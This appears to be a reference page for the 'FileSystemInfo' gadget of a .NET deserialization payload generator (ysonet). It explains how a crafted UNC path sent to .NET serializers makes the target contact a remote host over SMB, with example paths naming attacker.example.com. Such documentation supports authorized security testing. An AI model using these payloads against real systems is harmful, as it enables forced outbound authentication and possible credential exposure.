FileSystemInfo

gadget

Normalizes your path on the target. A UNC path with a short-name (~) component makes it reach that host over SMB.

Declared metadata, not a runtime result. How to read evidence.

.\ysonet.exe -g FileSystemInfo -h

Target declarations

Variant	Formatters	Inputs	Requirements	Runtime tokens
1	BinaryFormatter, SoapFormatter, LosFormatter, NetDataContractSerializer, DataContractSerializer, DataContractJsonSerializer, Json.NET	unc-path	built-in, net-framework	net-fx-4.0, net-fx-4.5, net-fx-4.5.1, net-fx-4.5.2, net-fx-4.6, net-fx-4.6.1, net-fx-4.6.2, net-fx-4.7, net-fx-4.7.1, net-fx-4.7.2, net-fx-4.8, net-fx-4.8.1
2	BinaryFormatter, SoapFormatter, LosFormatter, NetDataContractSerializer, DataContractSerializer, DataContractJsonSerializer, Json.NET	unc-path	built-in, net-framework	net-fx-4.0, net-fx-4.5, net-fx-4.5.1, net-fx-4.5.2, net-fx-4.6, net-fx-4.6.1, net-fx-4.6.2, net-fx-4.7, net-fx-4.7.1, net-fx-4.7.2, net-fx-4.8, net-fx-4.8.1

Variants

1: System.IO.DirectoryInfo (default) (default)
2: System.IO.FileInfo - same callback, plus a FileIOPermission read demand

Options (2)

Option Help Default Required

Option	Help	Default	Required
`var\|variant=`	Which concrete FileSystemInfo the payload names. Both do the same thing to the target - their serialization constructors both run the base FileSystemInfo one, which normalizes -c - and the callback happens before either of their own permission checks. Choices: 1 (default) - System.IO.DirectoryInfo. 2 - System.IO.FileInfo. It adds a FileIOPermission read demand on the normalized path, which only matters if the target runs partially trusted; the callback has already happened by then. WHAT TO PUT IN -c. Anything the target's Path normalization accepts. The interesting shape is a UNC path with an MS-DOS short-name component, because mscorlib then asks the remote host to expand it with GetLongPathNameW, and that is the outbound SMB request: \attacker.example.com\share\aaaaaa~~1\x \attacker.example.com\share\aaaaaa~~1 The rule mscorlib applies is that some path COMPONENT contains "~~" and is at most 12 characters long. So \host\share\file calls out to nobody, and so does \host\share\a-long-name~~1\x, whose "~" component is too long. Nothing is refused here - a target's own path handling is what you are testing - but --debugmode says when the value cannot trigger the expansion. WHAT A CALLBACK PROVES. That the target resolved your host and tried to reach it. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint. -t IS ACCEPTED and it deserializes the payload HERE, so THIS machine does the callback to the host you named - the same as on the other network gadgets. Windows sends authentication material when it opens an SMB session, so only point -t at an endpoint you own, and do not use it on a machine whose outbound traffic you would rather not explain. Default value: "1". Suggested values: 1, 2.	1	false
`rawinput`	Put -c into the payload template exactly as typed, instead of escaping it for the selected formatter. Normal mode escapes it, which is what a Windows path needs: every backslash is doubled inside a JSON string, and "&" and "<" are escaped inside the XML documents. Use this only when you have already escaped the value yourself for the format you picked. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against. Default value: "false".	false	false

var|variant=

Which concrete FileSystemInfo the payload names. Both do the same thing to the target - their serialization constructors both run the base FileSystemInfo one, which normalizes -c - and the callback happens before either of their own permission checks. Choices: 1 (default) - System.IO.DirectoryInfo. 2 - System.IO.FileInfo. It adds a FileIOPermission read demand on the normalized path, which only matters if the target runs partially trusted; the callback has already happened by then.

WHAT TO PUT IN -c. Anything the target's Path normalization accepts. The interesting shape is a UNC path with an MS-DOS short-name component, because mscorlib then asks the remote host to expand it with GetLongPathNameW, and that is the outbound SMB request: \attacker.example.com\share\aaaaaa~~1\x \attacker.example.com\share\aaaaaa~~1 The rule mscorlib applies is that some path COMPONENT contains "~~" and is at most 12 characters long. So \host\share\file calls out to nobody, and so does \host\share\a-long-name~~1\x, whose "~" component is too long. Nothing is refused here - a target's own path handling is what you are testing - but --debugmode says when the value cannot trigger the expansion.

WHAT A CALLBACK PROVES. That the target resolved your host and tried to reach it. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint.

-t IS ACCEPTED and it deserializes the payload HERE, so THIS machine does the callback to the host you named - the same as on the other network gadgets. Windows sends authentication material when it opens an SMB session, so only point -t at an endpoint you own, and do not use it on a machine whose outbound traffic you would rather not explain. Default value: "1". Suggested values: 1, 2.

false

rawinput Put -c into the payload template exactly as typed, instead of escaping it for the selected formatter. Normal mode escapes it, which is what a Windows path needs: every backslash is doubled inside a JSON string, and "&" and "<" are escaped inside the XML documents. Use this only when you have already escaped the value yourself for the format you picked. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against. Default value: "false". false false

Credit: [Finders: James Forshaw] [Contributors: Soroush Dalili]

All modules · Full catalog JSON